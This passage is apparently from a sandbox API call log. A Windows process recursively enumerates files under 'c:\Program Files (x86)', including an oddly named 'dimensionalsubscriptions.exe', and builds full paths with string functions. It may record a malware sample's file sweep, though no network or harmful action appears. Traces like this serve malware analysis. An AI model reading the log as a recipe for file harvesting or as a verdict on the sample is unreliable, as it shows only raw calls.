lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.589] lstrcmpW (lpString1="dimensionalsubscriptions.exe", lpString2=".") returned 1 [0031.589] lstrcmpW (lpString1="dimensionalsubscriptions.exe", lpString2="..") returned 1 [0031.589] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\") returned 34 [0031.589] lstrlenW (lpString="dimensionalsubscriptions.exe") returned 28 [0031.589] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\", lpString2="dimensionalsubscriptions.exe" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe") returned="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe" [0031.589] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe") returned 62 [0031.589] lstrcpyW (in: lpString1=0x25e2820, lpString2="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe") returned="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe" [0031.589] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.589] lstrcmpW (lpString1="TableTextService", lpString2=".") returned 1 [0031.589] lstrcmpW (lpString1="TableTextService", lpString2="..") returned 1 [0031.589] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\") returned 34 [0031.589] lstrlenW (lpString="TableTextService") returned 16 [0031.589] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\", lpString2="TableTextService" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService" [0031.589] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\" [0031.589] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0031.589] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\*") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\*" [0031.589] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows NT\\TableTextService\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.589] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.590] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.590] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.590] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.590] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.590] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0031.590] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0031.590] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0031.590] lstrlenW (lpString="en-US") returned 5 [0031.590] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US" [0031.590] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.590] lstrcmpW (lpString1="TableTextService.dll", lpString2=".") returned 1 [0031.590] lstrcmpW (lpString1="TableTextService.dll", lpString2="..") returned 1 [0031.590] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0031.590] lstrlenW (lpString="TableTextService.dll") returned 20 [0031.590] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextService.dll" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll" [0031.590] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll") returned 71 [0031.590] lstrcpyW (in: lpString1=0x25e86f0, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll" [0031.590] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.590] lstrcmpW (lpString1="TableTextServiceAmharic.txt", lpString2=".") returned 1 [0031.590] lstrcmpW (lpString1="TableTextServiceAmharic.txt", lpString2="..") returned 1 [0031.590] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0031.590] lstrlenW (lpString="TableTextServiceAmharic.txt") returned 27 [0031.590] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceAmharic.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" [0031.590] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt") returned 78 [0031.590] lstrcpyW (in: lpString1=0x25e8788, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" [0031.590] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.590] lstrcmpW (lpString1="TableTextServiceArray.txt", lpString2=".") returned 1 [0031.590] lstrcmpW (lpString1="TableTextServiceArray.txt", lpString2="..") returned 1 [0031.590] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0031.590] lstrlenW (lpString="TableTextServiceArray.txt") returned 25 [0031.590] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceArray.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt" [0031.590] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt") returned 76 [0031.590] lstrcpyW (in: lpString1=0x25e8830, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt" [0031.590] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.590] lstrcmpW (lpString1="TableTextServiceDaYi.txt", lpString2=".") returned 1 [0031.590] lstrcmpW (lpString1="TableTextServiceDaYi.txt", lpString2="..") returned 1 [0031.590] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0031.590] lstrlenW (lpString="TableTextServiceDaYi.txt") returned 24 [0031.590] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceDaYi.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" [0031.590] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt") returned 75 [0031.590] lstrcpyW (in: lpString1=0x25e88d8, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" [0031.590] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.590] lstrcmpW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2=".") returned 1 [0031.590] lstrcmpW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="..") returned 1 [0031.590] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0031.590] lstrlenW (lpString="TableTextServiceSimplifiedQuanPin.txt") returned 37 [0031.590] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceSimplifiedQuanPin.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" [0031.590] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt") returned 88 [0031.590] lstrcpyW (in: lpString1=0x25e8978, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" [0031.590] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.590] lstrcmpW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2=".") returned 1 [0031.590] lstrcmpW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="..") returned 1 [0031.591] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0031.591] lstrlenW (lpString="TableTextServiceSimplifiedShuangPin.txt") returned 39 [0031.591] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceSimplifiedShuangPin.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt" [0031.591] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt") returned 90 [0031.591] lstrcpyW (in: lpString1=0x25e8a38, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt" [0031.591] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.591] lstrcmpW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2=".") returned 1 [0031.591] lstrcmpW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="..") returned 1 [0031.591] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0031.591] lstrlenW (lpString="TableTextServiceSimplifiedZhengMa.txt") returned 37 [0031.591] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceSimplifiedZhengMa.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" [0031.591] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt") returned 88 [0031.591] lstrcpyW (in: lpString1=0x25e8af8, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" [0031.591] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.591] lstrcmpW (lpString1="TableTextServiceYi.txt", lpString2=".") returned 1 [0031.591] lstrcmpW (lpString1="TableTextServiceYi.txt", lpString2="..") returned 1 [0031.591] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0031.591] lstrlenW (lpString="TableTextServiceYi.txt") returned 22 [0031.591] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceYi.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt" [0031.591] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt") returned 73 [0031.591] lstrcpyW (in: lpString1=0x25e8bb8, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt" [0031.591] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.591] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.591] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.591] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.591] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.591] lstrcmpW (lpString1="Windows Photo Viewer", lpString2=".") returned 1 [0031.591] lstrcmpW (lpString1="Windows Photo Viewer", lpString2="..") returned 1 [0031.591] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0031.591] lstrlenW (lpString="Windows Photo Viewer") returned 20 [0031.592] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Photo Viewer" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer") returned="c:\\Program Files (x86)\\Windows Photo Viewer" [0031.592] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\" [0031.592] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0031.592] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\*") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\*" [0031.592] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Photo Viewer\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.592] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.592] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.592] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.592] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.592] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.592] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0031.592] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0031.592] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0031.592] lstrlenW (lpString="en-US") returned 5 [0031.592] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US" [0031.592] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\" [0031.592] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned 50 [0031.592] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*" [0031.592] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0x775ab0 [0031.592] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.592] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.592] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.592] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.592] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.592] lstrcmpW (lpString1="ImagingDevices.exe.mui", lpString2=".") returned 1 [0031.592] lstrcmpW (lpString1="ImagingDevices.exe.mui", lpString2="..") returned 1 [0031.592] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned 50 [0031.592] lstrlenW (lpString="ImagingDevices.exe.mui") returned 22 [0031.592] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\", lpString2="ImagingDevices.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" [0031.592] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui") returned 72 [0031.592] lstrcpyW (in: lpString1=0x25e8c58, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" [0031.592] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.592] lstrcmpW (lpString1="PhotoAcq.dll.mui", lpString2=".") returned 1 [0031.592] lstrcmpW (lpString1="PhotoAcq.dll.mui", lpString2="..") returned 1 [0031.592] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned 50 [0031.592] lstrlenW (lpString="PhotoAcq.dll.mui") returned 16 [0031.592] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\", lpString2="PhotoAcq.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" [0031.592] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui") returned 66 [0031.592] lstrcpyW (in: lpString1=0x25e8cf8, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" [0031.592] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.592] lstrcmpW (lpString1="PhotoViewer.dll.mui", lpString2=".") returned 1 [0031.592] lstrcmpW (lpString1="PhotoViewer.dll.mui", lpString2="..") returned 1 [0031.592] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned 50 [0031.592] lstrlenW (lpString="PhotoViewer.dll.mui") returned 19 [0031.592] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\", lpString2="PhotoViewer.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui" [0031.592] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui") returned 69 [0031.593] lstrcpyW (in: lpString1=0x25e8d88, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui" [0031.593] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 0 [0031.593] FindClose (in: hFindFile=0x775ab0 | out: hFindFile=0x775ab0) returned 1 [0031.593] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.593] lstrcmpW (lpString1="ImagingDevices.exe", lpString2=".") returned 1 [0031.593] lstrcmpW (lpString1="ImagingDevices.exe", lpString2="..") returned 1 [0031.593] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0031.593] lstrlenW (lpString="ImagingDevices.exe") returned 18 [0031.593] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="ImagingDevices.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe" [0031.593] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe") returned 62 [0031.593] lstrcpyW (in: lpString1=0x25e28a8, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe" [0031.593] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.593] lstrcmpW (lpString1="ImagingEngine.dll", lpString2=".") returned 1 [0031.593] lstrcmpW (lpString1="ImagingEngine.dll", lpString2="..") returned 1 [0031.593] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0031.593] lstrlenW (lpString="ImagingEngine.dll") returned 17 [0031.593] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="ImagingEngine.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll" [0031.593] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll") returned 61 [0031.593] lstrcpyW (in: lpString1=0x25e2930, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll" [0031.593] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.593] lstrcmpW (lpString1="PhotoAcq.dll", lpString2=".") returned 1 [0031.593] lstrcmpW (lpString1="PhotoAcq.dll", lpString2="..") returned 1 [0031.593] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0031.593] lstrlenW (lpString="PhotoAcq.dll") returned 12 [0031.593] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="PhotoAcq.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll" [0031.593] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll") returned 56 [0031.593] lstrcpyW (in: lpString1=0x25e61c0, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll" [0031.593] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.593] lstrcmpW (lpString1="PhotoBase.dll", lpString2=".") returned 1 [0031.593] lstrcmpW (lpString1="PhotoBase.dll", lpString2="..") returned 1 [0031.593] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0031.593] lstrlenW (lpString="PhotoBase.dll") returned 13 [0031.593] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="PhotoBase.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll" [0031.593] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll") returned 57 [0031.593] lstrcpyW (in: lpString1=0x25e6240, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll" [0031.593] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.593] lstrcmpW (lpString1="PhotoViewer.dll", lpString2=".") returned 1 [0031.593] lstrcmpW (lpString1="PhotoViewer.dll", lpString2="..") returned 1 [0031.593] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0031.593] lstrlenW (lpString="PhotoViewer.dll") returned 15 [0031.593] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="PhotoViewer.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll" [0031.593] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll") returned 59 [0031.593] lstrcpyW (in: lpString1=0x25e62c0, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll" [0031.593] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.593] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.593] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.593] lstrcmpW (lpString1="Windows Portable Devices", lpString2=".") returned 1 [0031.593] lstrcmpW (lpString1="Windows Portable Devices", lpString2="..") returned 1 [0031.594] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0031.594] lstrlenW (lpString="Windows Portable Devices") returned 24 [0031.594] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Portable Devices" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices") returned="c:\\Program Files (x86)\\Windows Portable Devices" [0031.594] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Portable Devices", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\") returned="c:\\Program Files (x86)\\Windows Portable Devices\\" [0031.594] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Portable Devices\\") returned 48 [0031.594] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\*") returned="c:\\Program Files (x86)\\Windows Portable Devices\\*" [0031.594] FindFirstFileW (in: lpFileName="c:\\Program Files 